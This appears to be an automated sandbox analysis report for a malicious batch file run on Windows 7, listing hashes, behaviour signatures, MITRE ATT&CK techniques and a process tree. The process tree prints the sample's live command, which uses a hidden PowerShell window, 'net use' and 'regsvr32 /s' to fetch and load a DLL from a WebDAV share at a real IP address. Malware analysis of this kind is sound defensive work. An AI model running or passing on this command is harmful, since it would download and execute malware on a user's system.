51c5cbc4f9e7ffd7eccd777ce55895c173863e971d78ef413ddb4d05828026d6

Analysis

max time kernel
122s
max time network
123s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
20/07/2024, 17:32

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General

Target

31231314650028122.bat
Size

12KB
MD5

6eceb7bcb0f85ba42c310283d9acb20b
SHA1

cc473f44a249e836d7b2e873986a4d28cdcd7f63
SHA256

51c5cbc4f9e7ffd7eccd777ce55895c173863e971d78ef413ddb4d05828026d6
SHA512

85935c2cd03fa1bb5979ed210d7accabe9577c5202c867ff94859a5b668496a7da417d5a89c5223f1b3acf9cedbe23a5fd5f14107eb6b5dbb402eadfbf65ced9
SSDEEP

384:jwUiaJy6uUvv3uz53ZUzO0UL+vc+z5MH4axIisey1ocXiHE1:kUjJy6uUn3uz53ZUzO09N64aZsH1

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2664	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2664	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2664	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2792	wordpad.exe
2792	wordpad.exe
2792	wordpad.exe
2792	wordpad.exe
2792	wordpad.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 2292 wrote to memory of 2792	2292	cmd.exe	31
PID 2292 wrote to memory of 2792	2292	cmd.exe	31
PID 2292 wrote to memory of 2792	2292	cmd.exe	31
PID 2292 wrote to memory of 2664	2292	cmd.exe	32
PID 2292 wrote to memory of 2664	2292	cmd.exe	32
PID 2292 wrote to memory of 2664	2292	cmd.exe	32
PID 2664 wrote to memory of 2528	2664	powershell.exe	34
PID 2664 wrote to memory of 2528	2664	powershell.exe	34
PID 2664 wrote to memory of 2528	2664	powershell.exe	34
PID 2664 wrote to memory of 2672	2664	powershell.exe	35
PID 2664 wrote to memory of 2672	2664	powershell.exe	35
PID 2664 wrote to memory of 2672	2664	powershell.exe	35
PID 2664 wrote to memory of 2672	2664	powershell.exe	35
PID 2664 wrote to memory of 2672	2664	powershell.exe	35

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\31231314650028122.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2292
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2792
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\279943264417817.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2664
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:2528
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\279943264417817.dll
    3⤵
    PID:2672

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2664-25-0x0000000001DA0000-0x0000000001DA8000-memory.dmp

Filesize
32KB

Download
memory/2664-24-0x000000001B840000-0x000000001BB22000-memory.dmp

Filesize
2.9MB

Download